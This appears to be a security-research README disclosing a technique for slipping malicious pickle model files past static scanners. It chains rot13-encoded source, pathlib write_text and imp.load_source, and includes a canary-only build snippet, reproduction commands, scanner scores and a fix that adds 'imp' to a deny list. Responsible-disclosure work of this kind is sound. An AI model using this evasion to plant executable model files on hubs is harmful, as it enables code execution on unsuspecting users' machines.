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imp.load_source — Two-Step Module Execution
Security Research — Responsible Disclosure This repository is part of a systematic study of pickle scanner bypass techniques. The payload demonstrates a detection gap in ML model security scanners. Access to
malicious_model.pklandpoc.pyrequires a request — see gate above.
Summary
Scanner scores for malicious_model.pkl:
| Scanner | CRITICAL | WARNING | Bypassed? |
|---|---|---|---|
| modelaudit 0.2.37 | 0 | 3 | Yes — 0 CRITICAL |
| picklescan 1.0.4 | 0 | 0 | Yes |
| modelscan | 0 | 0 | Yes |
Vulnerability
imp.load_source(name, pathname) reads and executes a Python source file from an explicit path. This is the legacy way to load a module from a file, predating importlib. Combined with pathlib.Path.write_text, it enables immediate code execution without needing the CPython internal _load function.
Proof of Concept
malicious_model.pkl in this repository is the exploit payload.
poc.py builds and tests it with full scanner output.
How the PoC was built
def build(canary: str, tmp_py: str) -> bytes:
content = f'import os; os.system("echo imp_load_source_pwned > {canary}")\n'
rot13_content = codecs.encode(content, "rot_13")
ops = bytearray(b"\x80\x04")
Affected file formats
Pickle (.pkl, .pt, .bin, .joblib) — any file deserialized via pickle.loads(),
torch.load(), joblib.load(), or equivalent.
Conditions required to trigger
- Target calls
pickle.loads(untrusted_bytes)or loads a model file via any pickle-based loader - The scanner performs static analysis only (no sandboxed execution)
- Scanner checks GLOBAL/STACK_GLOBAL opcodes against a deny list
Reproduction Steps
# 1. Request access above, then clone
git clone https://huggingface.co/SiggytheShark/pickle-bypass-imp-load-source
cd pickle-bypass-imp-load-source
# 2. Install requirements
pip install modelaudit picklescan modelscan
# 3. Scan — observe scanner scores match table above
modelaudit scan malicious_model.pkl
picklescan --path malicious_model.pkl
modelscan -p malicious_model.pkl
# 4. Execute to confirm RCE/side-effect
python3 poc.py
# 5. Verify
ls /tmp/scanner_bypass_proof.txt
Security Impact
Add "imp" to ALWAYS_DANGEROUS_MODULES. The entire imp module is deprecated and has no legitimate use in model pickles.
Bypass mechanism: The payload evades static analysis while achieving its effect
(code execution, file write, or network connection) when pickle.loads() is called.
Real-world scenario: An attacker uploads this payload to a model hub. A victim
downloads and loads it. The scanner reports the file as safe (0 CRITICAL). The
payload fires silently — the return value of pickle.loads() looks like a normal
Python object while the side effect has already occurred.
Full Technical Writeup
imp.load_source — Two-Step Module Execution
Score: 0 CRITICAL, 3 WARNING
Technique: Write Python source to /tmp/, then imp.load_source to execute it
Scanner version: modelaudit 0.2.37
Python version: ≤ 3.11 only (imp removed in 3.12)
Mechanism
imp.load_source(name, pathname) reads and executes a Python source file from an explicit path. This is the legacy way to load a module from a file, predating importlib. Combined with pathlib.Path.write_text, it enables immediate code execution without needing the CPython internal _load function.
Pickle Structure (Two-Step)
_codecs.encode(rot13_content, 'rot_13') → source content [0 findings]
Step 1 — Write source:
pathlib.Path(tmp_py) → path object [WARNING 1]
pathlib.Path.write_text(path, content) → file written [WARNING 2]
Step 2 — Execute:
imp.load_source('_poc', tmp_py) → executes source [WARNING 3]
Comparison with CPython Internals Strategy
03_cpython_tmp_import |
26_imp_load_source |
|
|---|---|---|
| Write function | _frozen_importlib_external._write_atomic |
pathlib.Path.write_text |
| Execute function | _frozen_importlib._load |
imp.load_source |
| Warnings | 4W | 3W |
| Python version | All | ≤ 3.11 |
Recommended Fix
Add "imp" to ALWAYS_DANGEROUS_MODULES. The entire imp module is deprecated and has no legitimate use in model pickles.
General Analysis — Security Research